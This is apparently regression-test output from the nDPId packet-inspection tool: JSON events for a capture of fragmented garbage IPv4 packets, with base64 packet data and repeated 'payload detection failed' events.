+00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1302,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":913139,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgYkAGRU8KAAACCoAAAjA1MSkoKiZeJSQjQCMkJV4="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1302,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1303,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":913153,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgZEAGRU0KAAACCoAAAiYqKComXiUkI3JzZGx1aGc="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1303,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1304,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":913165,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgZkAGRUsKAAACCoAAAmtmZHNia252Yy8udGdmdGc="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1304,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1305,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":913176,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgaEAGRUkKAAACCoAAAj9HUj9HUj9zUj83NDgzOTY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1305,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1306,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":913271,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgakAGRUcKAAACCoAAAikoKiZeJSQjQCFAIyQlXiY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1306,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1307,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":913279,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgbEAGRUUKAAACCoAAAiooKSgqJl4lJCNAIyQlXiY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1307,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1308,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":913287,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgbkAGRUMKAAACCoAAAiooKiZeJSQjJiooS0lKSEc="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1308,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1309,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":913294,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgcEAGRUEKAAACCoAAAkZEMiomREZHSEpLJl4lJCM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1309,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1310,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":913301,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgckAGRT8KAAACCoAAAiNFVFIlWV5VJkkqT1B7Ijo="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1310,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1311,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":913308,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgdEAGRT0KAAACCoAAAmhkZmxrZGE+TDxNTkJIR0Y="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1311,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1312,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":913315,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgdkAGRTsKAAACCoAAAkRFVyNAJCVeSEJHVgo0MjE="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1312,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1313,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":913322,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgeEAGRTkKAAACCoAAAjQ2MzE5ODIwNTEpKComXiU="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1313,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1314,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":913331,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgekAGRTcKAAACCoAAAiQjQCMkJV4mKigqJl4lJCM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1314,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1315,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":913344,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgfEAGRTUKAAACCoAAAnJzZGx1aGdrZmRzYmtudmM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1315,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00384{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1316,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":913364,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgfkAGRTMKAAACCoAAAi8udGdmdGc\/R1I\/R1I\/c1I="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1316,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1317,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":913374,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAggEAGRTEKAAACCoAAAj83NDgzOTYpKComXiUkI0A="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1317,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1318,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":913389,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAggkAGRS8KAAACCoAAAiFAIyQlXiYqKCkoKiZeJSQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1318,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1319,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":913404,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAghEAGRS0KAAACCoAAAiNAIyQlXiYqKComXiUkIyY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1319,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1320,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":913416,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAghkAGRSsKAAACCoAAAiooS0lKSEdGRDIqJkRGR0g="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1320,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1321,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":913428,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgiEAGRSkKAAACCoAAAkpLJl4lJCMjRVRSJVleVSY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1321,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1322,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":913437,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgikAGRScKAAACCoAAAkkqT1B7IjpoZGZsa2RhPkw="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1322,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1323,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":913447,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgjEAGRSUKAAACCoAAAjxNTkJIR0ZERVcjQCQlXkg="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1323,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1324,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":913459,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgjkAGRSMKAAACCoAAAkJHVgo0MjE0NjMxOTgyMDU="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1324,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1325,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":913472,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgkEAGRSEKAAACCoAAAjEpKComXiUkI0AjJCVeJio="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1325,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1326,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":913484,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgkkAGRR8KAAACCoAAAigqJl4lJCNyc2RsdWhna2Y="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1326,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1327,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":913509,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAglEAGRR0KAAACCoAAAmRzYmtudmMvLnRnZnRnP0c="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1327,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00384{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1328,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":913521,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAglkAGRRsKAAACCoAAAlI\/R1I\/c1I\/NzQ4Mzk2KSg="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1328,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1329,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":913533,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgmEAGRRkKAAACCoAAAiomXiUkI0AhQCMkJV4mKig="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1329,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1330,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":913545,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgmkAGRRcKAAACCoAAAikoKiZeJSQjQCMkJV4mKig="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1330,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1331,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":913558,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgnEAGRRUKAAACCoAAAiomXiUkIyYqKEtJSkhHRkQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1331,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1332,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":913570,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgnkAGRRMKAAACCoAAAjIqJkRGR0hKSyZeJSQjI0U="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1332,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1333,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":913583,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgoEAGRREKAAACCoAAAlRSJVleVSZJKk9QeyI6aGQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1333,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1334,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":913595,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgokAGRQ8KAAACCoAAAmZsa2RhPkw8TU5CSEdGREU="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1334,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1335,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":913606,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgpEAGRQ0KAAACCoAAAlcjQCQlXkhCR1YKNDIxNDY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1335,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1336,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":913619,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgpkAGRQsKAAACCoAAAjMxOTgyMDUxKSgqJl4lJCM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1336,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1337,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":913635,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgqEAGRQkKAAACCoAAAkAjJCVeJiooKiZeJSQjcnM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1337,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1338,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":913647,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgqkAGRQcKAAACCoAAAmRsdWhna2Zkc2JrbnZjLy4="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1338,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1339,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":913659,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgrEAGRQUKAAACCoAAAnRnZnRnP0dSP0dSP3NSPzc="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1339,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1340,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":913671,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgrkAGRQMKAAACCoAAAjQ4Mzk2KSgqJl4lJCNAIUA="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1340,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1341,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":913684,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgsEAGRQEKAAACCoAAAiMkJV4mKigpKComXiUkI0A="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1341,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1342,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":913698,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgskAGRP8KAAACCoAAAiMkJV4mKigqJl4lJCMmKig="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1342,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1343,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":913710,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgtEAGRP0KAAACCoAAAktJSkhHRkQyKiZERkdISks="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1343,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1344,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":913722,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgtkAGRPsKAAACCoAAAiZeJSQjI0VUUiVZXlUmSSo="} 